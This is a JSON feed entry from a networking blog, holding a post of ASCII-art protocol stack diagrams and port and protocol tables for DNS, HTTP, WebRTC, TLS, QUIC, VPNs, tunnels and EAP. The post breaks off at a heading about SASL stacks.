{"version": "https://jsonfeed.org/version/1", "title": "/dev/posts/ - Tag index - network", "home_page_url": "https://www.gabriel.urdhr.fr", "feed_url": "/tags/network/feed.json", "items": [{"id": "http://www.gabriel.urdhr.fr/2023/12/20/protocol-stacks/", "title": "Protocol stack diagrams", "url": "https://www.gabriel.urdhr.fr/2023/12/20/protocol-stacks/", "date_published": "2023-12-20T00:00:00+01:00", "date_modified": "2023-12-20T00:00:00+01:00", "tags": ["computer", "network"], "content_html": "
A collection of ASCII-art protocol stack diagrams.
\nThey can be used as a base for doing quick diagrams.\nFeel free to copy/reuse/adapt them for your own purpose.\nThese diagrams are released as CC0 (\u201cNo Rights Reserved\u201d).
\nLayers, PDUs and SDUs:
\n\n N+1 PDU\n[N+1 Layer]<----------------->[N+1 Layer]\n \u2191 \u2191\n | | N+1 SDU\n \u2193 \u2193\n o N PDU o N SAP\n[N Layer ]<----------------->[N Layer ]\n \u2191 \u2191\n | | N SDU\n \u2193 \u2193\n o N-1 PDU o N-1 SAP\n[N-1 Layer]<----------------->[N-1 Layer]\n\n
Switches, bridges/hubs, routers, proxy:
\n\n[app. ]<------------------------------------------------>[app.]<-->[app.]\n[TCP ]<------------------------------------------------>[TCP ]<-->[TCP ]\n[IP ]<------------------------------>[IP ]<-->[IP ]<-->[IP ]\n[Eth. MAC]<---------------->[Eth. MAC]<---[Eth. MAC|...]<-->[... ]<-->[... ]\n[Eth. PHY]<-->[Eth. PHY]<-->[Eth. PHY]<-->[Eth. PHY|...]<-->[... ]<-->[... ]\n Hub Switch/bridge Router Proxy\n\n
\nL7 [Application ]<-------------------------------->[Application ]\nL6 [Presentation]<-------------------------------->[Presentation]\nL5 [Session ]<-------------------------------->[Session ]\nL4 [Transport ]<-------------------------------->[Transport ]\nL3 [Network ]<-->[Network ]<-->[Network ]<-->[Network ]\nL2 [Data link ]<-->[Data link]<-->[Data link]<-->[Data link ]\nL1 [Physical ]<-->[Physical ]<-->[Physical ]<-->[Physical ]\n\n
\n [(DHCP)|DNS|app|DNS|app]\n[ICMP|IGMP|UDP |TCP ]\n[IPv4 |ARP]\n\n
Protocol | \nSAP | \nDescription | \n
---|---|---|
ICMP (Inter Control Message Protocol) | \nIP proto. 1 | \n\n |
ARP (Address Resolution Protocol) | \nEtherType 0x0806 | \nUsed for non-point-to-point networks. | \n
DHCP (Dynamic Host Configuration Protocol) | \nUDP 67 (server) UDP 68 (client) | \n\n |
IGMP (Internet Group Management Protocol) | \nIP proto. 2 | \nSupport for multicast | \n
IP model:
\n\n[app.]<---------------------------------->[app.] (end to end)\n[TCP ]<---------------------------------->[TCP ] (end to end)\n[IP ]<--->[IP ]<--->[IP ]<--->[IP ]<--->[IP ]\n[... ]<--->[...]<--->[...]<--->[... ]<--->[... ] (local network layers)\n Router Router Router\n\n
\n [(DHCPv6)|DNS|app|DNS|app]\n[ICMPv6+NDP+MLD|UDP |TCP ]\n[IPv6 ]\n\n
Protocol | \nSAP | \nDescription | \n
---|---|---|
ICMPv6 | \nIP next header 0x58 | \n\n |
NDP | \nIP next header 0x58 | \nPart of ICMPv6. Replaces ARP in IPv6. | \n
DHCPv6 | \nUDP 546 (client) UDP 547 (server) | \nUsually NDP is used instead for address allocation, routes, DNS configuration, etc. | \n
[MLD](Multicast Listener Discovery) | \nIP next header 0x58 | \nPart of ICMPv6. Replaces IGMP in IPv6. | \n
\n [app.]\n [app.] [SCTP] [app.]\n[app.] [app.] [app. ] [app.] [app.] [SCTP] [DTLS] [QUIC|TLS]\n[TCP ] [UDP ] [UDP-lite] [DCCP] [SCTP] [UDP ] [UDP ] [UDP ]\n[IP ] [IP ] [IP ] [IP ] [IP ] [IP ] [IP ] [IP ]\nTCP UDP UDP-lite DCCP SCTP SCTP SCTP QUIC\n /UDP /DTLS \n\n
Protocol | \nProtocol number | \nDescription | \n
---|---|---|
TCP | \n6 | \nConnection oriented, stream-based, checksums, connection control. | \n
UDP | \n17 | \nUnreliable datagrams. Checksums (can be disabled in IPv4). | \n
UDP-lite | \n136 | \nUnreliable datagrams. Allows for partial checksums. | \n
DCCP | \n33 | \nConnection oriented, unreliable datagrams, with congestion control. | \n
SCTP | \n132 | \nMessage-based (fragmentation, reliable, ordered), multiple-streams multiplexing over a single connection. Initially designed for PSTN signaling over IP. | \n
SCTP over UDP | \n- | \nUseful for NAT traversal and userspace implementations of SCTP. | \n
SCTP over DTLS | \n- | \nUsed by WebRTC for transporting data channels. | \n
QUIC | \n- | \nProtected communications (relies on TLS for the hanshake). Multiplexing of multiple streams per QUIC connection. Used by HTTP/3. | \n
\n [DNS ]\n [DNS ] [DNS ] [Obliv. DNS]\n [DNS ] [framing] [DNS ] [HTTP ] [DNS ] [HTTP ]\n[DNS] [framing] [TLS ] [DTLS] [TLS / QUIC] [QUIC] [TLS / QUIC]\n[UDP] [TCP ] [TCP ] [UDP ] [TCP / UDP ] [UDP ] [TCP / UDP ]\n[IP ] [IP ] [IP ] [IP ] [IP ] [IP ] [IP ]\n\u201cDo53\u201d \u201cDo53\u201d \u201cDoT\u201d \u201cDoH\u201d \u201cDoQ\u201d \u201cODoH\u201d\nDNS DNS DNS DNS DNS DNS Oblivious DNS\nover over over over over over over\nUDP TCP TLS DTLS HTTPS QUIC HTTPS\n\n
Protocol | \nPort | \nALPN | \nDescription | \n
---|---|---|---|
DNS over UDP (Do53) | \nUDP 53 | \n- | \nGeneral DNS traffic. | \n
DNS over TCP (Do53) | \nTCP 53 | \n- | \nUsually used when messages are too long for UDP. | \n
DNS framing | \n- | \n- | \nWhen used on top of TCP or TLS, each DNS message is prefixed with a length field (2 bytes). | \n
DNS over TLS (DoT) | \nTCP 853 | \n\"dot\" | \nDNS privacy. | \n
DNS over DTLS | \n(UDP 853) | \n- | \nDNS privacy. Not used in practice, deprecated in favor of DoQ. | \n
DNS over HTTPS (DoH) | \nTCP 443 | \n\"http/1.1\", \"h2\", \"h3\", etc. | \nDNS privacy. One HTTP request per request/response pair. | \n
DNS over QUIC (DoQ) | \nUDP 853 | \n\"doq\" | \nDNS privacy. One QUIC stream per request/response pair. | \n
Oblivious DNS over HTTPS (ODoH) | \nTCP/UDP 443 | \n\"http/1.1\", \"h2\", \"h3\", etc. | \nMore DNS privacy. | \n
Oblivious DNS over HTTPS:
\n\n[DNS ]<--------------------->o[DNS ]<---->o[DNS]\n[Obliv. DNS]<=====================>o[Obliv. DNS|- ]\n[HTTP ]<--->o[HTTP ]<--->o[HTTP |- ]\n[TLS / QUIC]<===>o[TLS / QUIC]<===>o[TLS / QUIC|- ]\n[TCP / UDP ]<--->o[TCP / UDP ]<--->o[TCP / UDP |...]<----->[...]\n[IP ]<---->[IP ]<---->[IP ]<----->[IP ]\nOblivious Oblivious Oblivious\nClient Relay Target\n\n
\n [HTTP/1.x] [HTTP/2] [HTTP/3|TLS]\n[HTTP/1.x] [HTTP/2] [TLS ] [TLS ] [QUIC ]\n[TCP ] [TCP ] [TCP ] [TCP ] [UDP ]\n[IP ] [IP ] [IP ] [IP ] [IP ]\nHTTP/1.x HTTP/2 HTTP/1.x HTTP/2 HTTP/3\n w/o TLS over TLS over TLS (over QUIC)\n \"h2c\" \"h2\" \"h3\"\n(HTTP) (HTTP) (HTTPS) (HTTPS) (HTTPS)\n\n
Protocol | \nPort | \nTLS ALPN | \nHTTP Upgrade | \nDescription | \n
---|---|---|---|---|
HTTP/1.x without TLS | \nTCP 80 | \n- | \n- | \nText protocol. | \n
HTTP/1.x over TLS (HTTPS) | \nTCP 443 | \n\"http/1.1\", \"http/1.0\" | \n\n | \n |
HTTP/2 without TLS | \nTCP 80 | \n- | \n\"h2c\" | \nHTTP/2 without TLS is not widely supported and is deprecated. | \n
HTTP/2 over TLS (HTTPS) | \nTCP 443 | \n\"h2\" | \n- | \nBinary protocol. Prevents head of line blocking (HOL)at the HTTP layer byt multiplexing multiple requests/responses over the same connection but does HOL blocking still present at the TCP layer. | \n
HTTP/3 over QUIC (HTTPS) | \nUDP 443 | \n\"h3\" | \n- | \nBinary protocol. Prevents HOL blocking between streams of the same connection (which was happenning at the TCP layer with HTTP/2) by replacing TCP by UDP. Encryption/integrity provided by QUIC. TLS used for the handshake (ciphersuite negotiation, authentication, key exchange, etc.) | \n
\n[WebSocket] [WebSocket] [WebSocket]\n[HTTP/1.x ] [HTTP/2 ] [HTTP/3 ]\n[(TLS) ] [(TLS) ] [QUIC ]\n[TCP ] [TCP ] [UDP ]\n[IP ] [IP ] [IP ]\nWebSocket Websocket WebSocket\n(HTTP/1.x) (HTTP/2) (HTTP/3)\n\n
Notes:
\nGET
) is used to upgrade the HTTP connection into a WebSocket connection;CONNECT
) is used to upgrade the HTTP/2 stream into a WebSocket stream;CONNECT
) is used to upgrade the HTTP/3 stream into a WebSocket stream.References:
\n\n[datagram ] [datagram] [ datagram ]\n[Capsule ] [Capsule ] [Capsule |- ]\n[HTTP/1.x ] [HTTP/2 ] [HTTP/3 |H3 dgram]\n[(TLS) ] [(TLS) ] [QUIC +dgram]\n[TCP ] [TCP ] [UDP ]\n[IP ] [IP ] [IP ]\nHTTP HTTP HTTP Datagrams \nDatagrams Datagrams \n(HTTP/1.X) (HTTP/2) (HTTP/3)\n\n
HTTP datagrams are unreliable datagrams, associated with a HTTP upgrade, transported over an HTTP connection.\nThey can be sent after an upgrade to the Capsule protocol,
\nHTTP datagrams are currently used for,
\nWithout HTTP/3 datagrams:
\n\n [application] [IP ] [application] [Eth. MAC ] \n [UDP prox. ] [IP prox.|config.] [UDP-l prox.] [Eth. prox. ] \n[application] [HTTP Datag.] [Capsule ] [HTTP Datag.] [HTTP Datag.] \n[HTTP ] [HTTP ] [HTTP ] [HTTP ] [HTTP ] \n[(TLS)/ QUIC] [(TLS)/ QUIC] [(TLS) / QUIC ] [(TLS)/ QUIC] [(TLS)/ QUIC] \n[TCP / UDP ] [TCP / UDP ] [TCP / UDP ] [TCP / UDP ] [TCP / UDP ] \n[IP. ] [IP ] [IP ] [IP ] [IP ] \nTCP in HTTP UDP in HTTP IP in HTTP UDP-listen in HTTP Ethernet in HTTP\n\n
With HTTP/3 datagrams:
\n\n [app. ] [config.|IP ] [application ] [Eth. MAC ]\n [UDP prox.] [Capsule|IP prox.] [UDP-listen prox.] [Eth. proxy.]\n[HTTP/3|H3 dgram ] [HTTP/3 |H3 dgram] [HTTP/3|H3. dgram ] [HTTP/3|H dgram ]\n[QUIC +dgram ] [QUIC +dgram ] [QUIC +dgram ] [QUIC +dgram ]\n[UDP ] [UDP ] [UDP ] [UDP ]\n[IP ] [IP ] [IP ] [IP ]\nUDP in HTTP/3 IP in HTTP/3 UDP-listen in HTTP/3 Ethernet in HTTP/3\ndatagrams datagrams datagrams datagrams\n\n
Protocol | \nUpgrade token | \nDefault URI template | \n
---|---|---|
Proxy TCP in HTTP (classic) (/1.x, /2, /3) | \n- | \n- | \n
Proxy TCP in HTTP (template-based) | \n\"connect-tcp\" | \n/.well-known/masque/tcp/{target_host}/{tcp_port}/ | \n
Proxy UDP in HTTP | \n\"connect-udp\" | \n/.well-known/masque/udp/{target_host}/{target_port}/ | \n
Proxy UDP listen in HTTP | \n\"connect-udp-listen\" | \n/.well-known/masque/udp/{target_host}/{target_port}/ | \n
Proxy IP in HTTP | \n\"connect-ip\" | \n/.well-known/masque/ip/{target}/{ipproto}/ | \n
Proxy Ethernet in HTTP | \n\"connect-ethernet\" | \n(/.well-known/masque/ethernet/) | \n
\n[streams|datagrams] [streams| datagrams ]\n[- |Capsule ] [- |Capsule|- ]\n[HTTP/2 ] [HTTP/3 |H3 dgram.]\n[TLS ] [QUIC (+dgram)]\n[TCP ] [UDP ]\n[IP ] [IP ]\nWebTransport (HTTP/2) WebTransport (HTP/3)\nHTTP/2\n\n
Features:
\nNotes:
\nReferences:
\n\n[FTP ] [SFTP] [HTTP+WebDAV ] [SMB ]\n[(TLS)] [SSH ] [(TLS) / QUIC] [SMB] [QUIC] [NFS]\n[TCP ] [TCP ] [TCP / UDP ] [TCP] [UDP ] [TCP]\n[IP ] [IP ] [IP ] [IP ] [IP ] [IP ]\nFTP SFTP WebDAV SMB SMB NFSv4\n /QUIC\n\n
Protocol | \nPort | \nDescription | \n
---|---|---|
FTP (File Transfer Protocol) | \nTCP/21 (control) TCP/20 (data) | \n\n |
FTP over TLS | \nTCP/900 (control) TCP/989 (data) | \n\n |
WebDAV | \nTCP/80 (HTTP) | \nExtension of HTTP for remote resource (file) operation. | \n
WebDAV Secure | \nTCP/443 UDP/443 | \nWebDAV with HTTPS. | \n
SFTP (SSH File Transfer Protocol) | \nTCP/22 (SSH) | \nFile transfer over SSH. Not related to FTP! This is not FTP over TLS! | \n
NFS v4 (Network File System) | \nTCP/2049 | \n\n |
SMB over IP (modern) | \nTCP/445 | \nWindows file sharing. | \n
SMB over NetBIOS over TCP (SMB/NBT) | \nTCP/139 | \nWindows file sharing over legacy Windows network protocols. | \n
SMB over QUIC | \nUDP/443 | \n\n |
Notes:
\n\n[LDAP ]\n[(SASL sec.)]\n[(TLS) ]\n[TCP ]\n[IP ]\nLDAP\n\n
\n [Device/service desc.] [SOAP/1.1] [UPnP event] [UPnP event]\n [XML ] [XML ] [XML ] [XML ]\n[HTTP+SSDP ] [HTTP ] [HTTP ] [HTTP+GENA ] [HTTP+GENA ]\n[UDP ] [TCP ] [TCP ] [TCP ] [UDP ]\n[IP (mcast)] [IP ] [IP ] [IP ] [IP (mcast)]\nService Service Control Eventing Eventing\nDiscovery Description (RPC) (unicast) (multicast)\n\n
\n [CoAP ]\n [WebSocket ]\n[CoAP ] [CoAP ] [HTTP ]\n[(DTLS)] [(TLS)] [(TLS / DTLS)]\n[UDP ] [TCP ] [TCP / UDP ]\n[IP ] [IP ] [IP ]\nCoAP CoAP/TCP CoAP/WS(S)\n\n
Protocol | \nURI scheme | \nPort | \nALPN | \nWebSocket protocol | \n
---|---|---|---|---|
CoAP over UDP | \ncoap: | \nUDP 5683 | \n- | \n- | \n
CoAP over DTLS | \ncoaps: | \nUDP 5684 | \ncoap | \n- | \n
CoAP over TCP | \ncoap+tcp: | \nTCP 5683 | \n- | \n- | \n
CoAP over TLS | \ncoaps+tcp: | \nTCP 5684 | \ncoap | \n. | \n
CoAP over WebSocket | \ncoap+ws: | \n(80, HTTPS) | \n- | \ncoap | \n
\n | coaps+ws: | \n(443, HTTPS) | \n(http/1.x, \u2026) | \ncoap | \n
Notes:
\nSignaling:
\n\n [SDP ]\n [(S/MIME) ]\n [SDP ] [SIP ]\n[SDP ] [SDP ] [(S/MIME)] [WebSocket]\n[RTSP ] [(S/MIME) ] [SIP ] [HTTP ]\n[(TLS)] [SIP ] [TLS ] [(TLS )]\n[TCP ] [UDP / TCP / SCTP] [TCP ] [TCP ]\n[IP ] [IP ] [IP ] [IP ]\nRTSP SIP SIP-TLS SIP/WebSocket\n\n
RTP (media transport):
\n\n[A/V] [A/V] [A/V ] [A/V ] \n[RTP|RTCP] [SRTP|SRTCP] [DTLS|SRTP|SRTCP] [ZRTP|SRTP|SRTCP]\n[UDP ] [UDP ] [UDP ] [UDP ]\n[IP ] [IP ] [IP ] [IP ]\nRTP, RTCP SRTP, SRTCP DTLS-SRTP ZRTP \n\n
Alternative transports for RTP:
\n\n [A/V] [A/V]\n[A/V] [RTP|RTCP |RTP|RTCP ]\n[RTP|RTCP ] [RoQ stream|RoQ Datag.]\n[framing ] [QUIC ]\n[TCP ] [UDP ]\n[IP ] [IP ]\nRTP over TCP RTP over QUIC (RoQ)\n\n
Protocol | \nPort | \nDescription | \n
---|---|---|
RTSP (Real Time Streaming Protocol) | \nTCP 554 | \nControl RTP streams (PLAY/PAUSE, etc.) | \n
RTSPS (Secure RTSP) | \nTCP 322 | \nRTSP over TLS | \n
SIP (Session Initiation Protocol) | \nTCP 5060 UDP 5060 SCTP 5060 | \n\n |
SIP over TLS | \nTCP 5061 | \n\n |
SIP over WebSocket | \nTCP 80 TCP or UDP 443 | \n\n |
Protocol | \nDescription | \n
---|---|
RTP | \nTransport A/V streams | \n
RTCP | \nFlow/congestion control for RTP | \n
SRTP and SRTCP | \n\n |
DTLS-SRTP | \nDTLS handshake (with mutual authentication) for keying SRTP (and SRTCP). | \n
ZRTP | \nDiffie-Hellman key exchange on the same port as SRTP. | \n
S/MIME | \nMay be used in SIP to provide end-to-end protection of SDP content | \n
Framing for RTP | \nWhen used over TCP, each RTP or RTCP packet is prefixed with a length field (2 bytes). | \n
RTP-MIDI | \nSend MIDI 1 data over RTP | \n
RTP-over-QUIC (RoQ) | \n\n |
Notes:
\nuse_srtp
extension for key exchange and then switch to SRTP, SRCTP on the same port.Message multiplexing:
\n\n [DCEP|data. chan.] \n [DCEP|data. chan.] [SCTP |A/V ] \n [SCTP |A/V ] [STUN|mDTLS |SRTP|SRTCP]\n [STUN|mDTLS |SRTP|SRTCP] [framing ]\n[SDP ] [UDP (+ ICE) ] [TCP (+ ICE) ]\n[anything] [IP (+ ICE) ] [IP (+ ICE) ]\nWebRTC WebRTC over UDP WebRTC over TCP \nSignaling\n\n
Type of payloads:
\n\n [DCEP|data chan.]\n [DCEP|data chan.] [A/V ] [SCTP ]\n [A/V ] [SCTP ] [STUN|mDTLS|SRTP|SRTCP] [STUN|mDTLS ]\n[STUN|mDTLS|SRTP|SRTCP] [STUN|mDTLS ] [framing ] [framing ]\n[UDP (+ ICE) ] [UDP (+ICE) ] [TCP (+ ICE) ] [TCP (+ICE) ]\n[IP (+ ICE) ] [IP (+ICE) ] [IP (+ ICE) ] [IP (+ICE) ]\nWebRTC A/V streams WebRTC Data Channel WebRTC A/V streams WebRTC Data Channel \n(DTLS-SRTP) (SCTP/DTLS) (DTLS-SRTP) (SCTP/DTLS)\nproto=UDP/TLS/RTP/SAVPF proto=UDP/DTLS/SCTP proto=TCP/TLS/RTP/SAVPF proto=TCP/DTLS/SCTP\n\n
Example WebRTC stack with TURN tunneling:
\n\n\n [DCEP|data. chan.] \n [SCTP |A/V ] \n[STUN|mDTLS |SRTP|SRTCP]\n[TURN ]\n[(DTLS) ]\n[UDP ]\n[IP ]\nWebRTC with TURN tunnel\n\n
WebRTC Payload type | \nSCTP PPID | \nDescription | \n
---|---|---|
SRTP-DTLS | \n- | \n\n |
DCEP (Data Channel Establishment Protocol) | \n50 | \nUsed to create WebRTC data channels. | \n
WebRTC String | \n51 | \n\n |
WebRTC Binary | \n53 | \n\n |
WebRTC Empty String | \n56 | \n\n |
WebRTC Empty Binary | \n57 | \n\n |
Notes:
\nidentity
SDP attribute).DATA_CHANNEL_OPEN
message may specify a protocol identifier (from the WebSocket subprotocol registry) to be used on this channel.References:
\nTLS sublayers:
\n\n[Handshake | ChangecipherSpec | Alert | Application]\n[TLS Record Protocol: fragmentation ] [Handshake | Alert | Application ]\n[TLS Record Protocol: compression ] [TLS Record Protocol: fragmentation ]\n[TLS Record Protocol: record protection ] [TLS Record Protocol: record protection]\n[Transport layer ] [Transport layer ]\nTLS v1.2 TLS v1.3\n\n
Some protocol stacks using TLS:
\n\n [mTLS ] \n[HTTP] [HTTP/3|TLS] [SMTP] [IMAP] [TLS|IP / Eth.] [EAP-TLS] [mTLS ]\n[TLS ] [QUIC ] [TLS ] [TLS ] [OpenVPN ] [EAP ] [EAP-TLS]\n[TCP ] [UDP ] [TCP ] [TCP ] [TCP / UDP ] [EAPOL ] [EAP ]\n[IP ] [IP ] [IP ] [IP ] [IP ] [Wifi ] [PPP ]\nHTTPS HTTPS SMTPS IMAPS OpenVPN WPA2-EAP PPP\n (HTTP/3) with EAP-TLS with EAP-TLS \n\n
TLS Subprotocols | \nDescription | \n
---|---|
Underlying transport layer | \neg. TCP | \n
TLS Record Protocol: Record Protection | \nEncryption and message authentication (Cipher+MAC or AEAD). | \n
TLS Record Protocol: Compression | \nMessage compression, if negotiated. Not available in TLS v1.3. | \n
TLS Record Protocol: Fragmentataion | \nSubprotocols multiplexing and framing. | \n
TLS Handshake Protocol | \nTLS handshake (version/ciphersuite negotiation, authentication, key exchange, etc.). | \n
TLS ChangecipherSpec | \nEnables communication protection for this direction | \n
TLS Alert | \nErrors. | \n
Application Layer | \neg. HTTP, SMTP, etc. | \n
Transports:
\n\n[app.] [app.] [app.]\n[DTLS] [DTLS] [DTLS]\n[UDP ] [SCTP] [DCCP]\n[IP ] [IP ] [IP ]\nDTLS DTLS DTLS\nover over over\nUDP SCTP DCCP\n\n
\n[app.] [app. streams|app. dgrams]\n[QUIC|TLS] [QUIC +dgram. |TLS]\n[UDP ] [UDP ]\n[IP ] [IP ]\nQUIC QUIC with QUIC datagrams\n\n
Protocol | \nDescription | \n
---|---|
QUIC | \nProtected transport. Provides multiple streams on top of a single connection. | \n
TLS | \nUsed for the handshake (negotiation, keying) | \n
QUIC datagrams | \nExtension of QUIC for unreliable datagrams (not associated to any QUIC stream). | \n
QUIC is used by:
\nQUIC Datagrams are used by:
\nReferences:
\n\n\n [(GSS-API)|shell|command|forwarding]\n[SSH Authentication Layer|SSH Connection Layer ]\n[SSH Transport Layer ]\n[TCP ]\n[IP ]\n\n
Protocol | \nDescription | \n
---|---|
GSS-API authentication for SSH | \n\n |
SSH sessions include:
\n\nSSH forwardings include:
\nSome applications:
\nSA (Security Associations) establishment:
\n\n [... ]\n [EAP ]\n[IKEv2] [IKEv2]\n[UDP ] [UDP ]\n[IP ] [IP ]\nIKEv2 IKEv2\n w/ EAP\n\n
IPsec:
\n\n [UDP|TCP|...] [IP ]\n[UDP|TCP|...] [IP] [UDP|TCP|...] [IP ] [ESP ] [ESP]\n[AH ] [AH] [ESP ] [ESP] [UDP ] [UDP]\n[IP ] [IP] [IP ] [IP ] [IP ] [IP ]\nAH AH ESP ESP ESP/UDP ESP/UDP\nTransport Tunnel Transport Tunnel Transport Transport\n\n
Protocol | \nIP Protocol | \nPort | \nNotes | \n
---|---|---|---|
AH (Authentication Header) | \n51 | \n- | \nintegrity, data origin authentication, anti-replay (including the outer IP packet) | \n
ESP (Encapsulating Security Payload) | \n50 | \n- | \nintegrity, data origin authentication, anti-replay, confidentiality (of the payload) | \n
IKEv2 | \n- | \nUDP 500 | \n\n |
ESP over UDP (and IKDEv2) | \n- | \nUDP 4500 | \n\n |
ESP transport mode:
\n\n[app.]<--------->[app.]\n[TCP ]<--------->[TCP ]\n[ESP ]<=========>[ESP ]\n[IP ]<--------->[IP ]\ncorrespondent correspondent\n\n
ESP tunnel mode:
\n\n[app.]<------------------------------>[app.]\n[TCP ]<------------------------------>[TCP ]\n[IP ]<-------->[IP ]<----->[IP ]<----[IP ]\n [ESP]<=====>[ES ]\n [IP ]<----->[IP ]\ncorrespondent Gateway Gateway correspondent\n\n
AH transport mode:
\n\n[app.]<--------->[app.]\n[TCP ]<--------->[TCP ]\n[AH ]<--------->[AH ]\n[IP ]<=-=-=-=-=>[IP ]\ncorrespondent correspondent\n\n
AH tunnel mode:
\n\n[app.]<---------------------------->[app.]\n[TCP ]<---------------------------->[TCP ]\n[IP ]<-------->[IP]<----->[IP]<--->[IP ]\n [AH]<----->[AH]\n [IP]<=-=-=>[IP]\ncorrespondent Gateway Gateway correspondent\n\n
References:
\n\n[IPv4|IPv6|(TLS)] [Eth. MAC|(TLS)] [IP ] [IP / Eth. MAC]\n[OpenVPN ] [OpenVPN ] [WireGuard] [SSH ]\n[TCP / UDP ] [TCP / UDP ] [UDP ] [TCP ]\n[IP ] [IP ] [IP ] [IP ]\nOpenVPN IP OpenVPN Ethernet WireGuard OpenSSH tunnel\n(TUN mode) (TAP mode)\n\n [IP ] \n[IP ] [IP ] [PPP ] [IP ]\n[Capsule] [Capsule|- ] [SSTP ] [PPP ]\n[HTTP ] [HTTP3 |H3 dgram.] [HTTP ] [HTTP ]\n[(TLS) ] [QUIC +dgram.] [TLS ] [TLS ]\n[TCP ] [UDP ] [TCP ] [TCP ]\n[IP ] [IP ] [IP ] [IP ]\nIP in HTTP IP in HTTP/3 MS-SSTP FortiSSL\n\n
Protocol | \nPort | \n
---|---|
OpenVPN | \nUDP 1194, TCP 1194 | \n
WireGuard | \nUDP 51820 | \n
OpenSSH tunnel | \n(over SSH, TCP 22) | \n
IP in HTTP | \nTCP/UDP 443 (HTTPS) | \n
MS-SSTP | \nTCP/UDP 443 (HTTPS) | \n
FortiSSL | \n\n |
Notes:
\nSSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/
HTTPS request. The encapsulted protocol is chosen with the MS-SSTP Protocol ID field (0x0001 for PPP).\n [IP ] [IP ]\n [GRE ] [GRE ]\n [(UDP) ] [DTLS] [Eth. MAC]\n[IP] [(AH / ESP)] [UDP ] [EtherIP ]\n[IP] [IP ] [IP ] [IP ]\nIP in IP GRE GRE-UDP-DTLS EtherIP\n\n
Protocol | \nSAP | \nDescription | \n
---|---|---|
GRE (Generic Routing Encapsulation) | \nIP proto 47 | \nNext protocol defined as an EtherType; Optional 32 bit key (tunnel ID); optional 32 bit sequence number | \n
GRE-in-UDP | \nUDP 4754 (dest.) | \n\n |
GRE-UDP-DTLS | \nUDP 4755 (dest.) | \n\n |
EtherIP | \nIP proto 97 | \n\n |
Pseudowires:
\n\n[PPP ] [Eth. MAC] [Frame Relay] [HDLC] [ATM ]\n[L2TP] [L2TP ] [L2TP ] [L2TP] [L2TP]\n[... ] [... ] [... ] [... ] [... ]\n\n
Transports:
\n\n [... ]\n [L2TP]\n[... ] [SNAP] [... ]\n[L2TP] [... ] [... ] [LLC ] [L2TP]\n[UDP ] [L2TP] [L2TP ] [AAL5] [AAL5]\n[IP ] [IP ] [Frame Relay] [ATM ] [ATM ]\nL2TP L2TP L2TP L2TP L2TP\n/UDP /IP /Frame Relay /ATM /ATM\n (LLC) (VC mux)\n\n
Protocol | \nSAP | \nDescription | \n
---|---|---|
L2TP (Layer Two Tunneling Protocol) | \n\n | 16 bit tunnel ID, optional 16 bit sequence numbers | \n
L2TP over IP | \nIP proto. 115 | \n\n |
L2TP over UDP | \nUDP 1701 (control) | \n\n |
\n[Eth. MAC ] [Eth. / IP / ...] [Eth. / IP / ...]\n[VXLAN ] [GENEVE ] [GRE + Key ext. ]\n[UDP ] [UDP ] [(UDP) ]\n[(AH / ESP)] [(AH / ESP) ] [(AH / ESP) ]\n[IP ] [IP ] [IP ]\nVXLAN GENEVE NVGRE \n\n
Protocol | \nPort | \nDescription | \n
---|---|---|
VXLAN (Virtual eXtensible LAN) | \nUDP 4789 (dest.) | \n24 bit VNI (VXLAN Network Identifier), always encapsulates Ethernet | \n
GENEVE (Generic Network Virtualization Encapsulation) | \nUDP 6081 (dest.) | \n24 bit VNI, can encapsulate different protocols (EtherType) | \n
NVGRE (Network Virtualization witg GRE) | \n\n | 24-bit VSID (Virtual Subnet Identifier), can encapsulate different protocols (EtherType) | \n
TLS-based EAP methods:
\n\n [... ]\n [EAP ] [PAP ] [CHAP ] [... ] [... ]\n [AVP ] [AVP ] [AVP ] [EAP ] [EAP ]\n[mTLS ] [TLS ] [TLS ] [TLS ] [TLS ] [TLS ]\n[EAP-TLS] [EAP-TTLS] [EAP-TTLS] [EAP-TTLS] [PEAP] [TEAP]\n[EAP ] [EAP ] [EAP ] [EAP ] [EAP ] [EAP ]\n[... ] [... ] [... ] [... ] [... ] [... ]\n EAP-TLS EAP PAP CHAP EAP EAP\n over over over over over\n EAP-TTLS EAP-TTLS EAP-TTLS PEAP TEAP\n\n
EAP transports:
\n\n [... ] [...] [... ] [... ]\n [... ] [... ] [EAP ] [EAP] [EAP ] [EAP ]\n[...] [EAP ] [EAP ] [PANA] [IKE] [RADIUS ] [Diameter ]\n[EAP] [802.1X ] [802.1X] [UDP ] [UDP] [UDP / TCP] [TCP / SCTP]\n[PPP] [Ethernet] [Wifi ] [IP ] [IP ] [IP ] [IP ]\n EAP 802.1X WPA-EAP PANA EAP EAP over EAP/Diameter\n for for RADIUS\n PPP IKE\n\n
Example full protocol stacks:
\n\n [EAP-MSCHAPV2]\n [EAP ]\n[mTLS ] [TLS ]\n[EAP-TLS] [TEAP ]\n[EAP ] [EAP ]\n[802.1X ] [802.1X ]\n[Wifi ] [Wifi ]\nWPA-EAP WPA-EAP \nwith with \nEAP-TLS EAP-EAP\n and MSCHAPv2\n\n
EAP Method | \nMethod Type | \nDescription | \n
---|---|---|
EAP-TLS | \n13 | \nMutual TLS authentication | \n
EAP-TTLS | \n21 | \nAVPs (attribute value pairs) in the Diameter format over TLS | \n
PEAP (Protected EAP) | \n25 | \nInner EAP exchange over a TLS tunnel | \n
EAP-FAST | \n43 | \n\n |
TEAP (Tunnel EAP) | \n55 | \nInner EAP exchange over a TLS tunnel (standardized version of PEAP) | \n
EAP-SIM, EAP-AKA, EAP-AKA' | \n18, 23, 50 | \nSIM-based authentication | \n
EAP-pwd | \n52 | \nAuthenticated key exchange based on a shared password | \n
EAP-NOOB | \n56 | \nAuthentication for IoT devices based on an initial out-of-band channel | \n
EAP Transport | \nDescription | \n
---|---|
802.1X | \nAuthetication of LAN/WLAN such as Ethernet and Wifi (WPA-EAP aka WPA-Entreprise) | \n
PANA (Protocol for Carrying Authentication for Network Access) | \n\n |
RADIUS support for EAP | \nEAP messages encapsulated in the EAP-Message attribute | \n
Diameter support for EAP | \nEAP messages encapsulated in EAP-Payload AVP | \n
\n [Kerberos]\n [MS-KKDCP]\n [HTTP ]\n[Kerberos] [TLS ]\n[UDP/TDP ] [TCP ]\n[IP ] [IP ]\nKerberos MS-KKDCP\n\n
EAP Method | \nPort | \nDescription | \n
---|---|---|
Kerberos | \nUDP or TCP 88 | \n\n |
MS-KKDCP (Kerberos Key Distribution Center Proxy) | \nTCP or UDP 443 (HTTPS) | \nKerberos over HTTPS. | \n
General SASL stack:
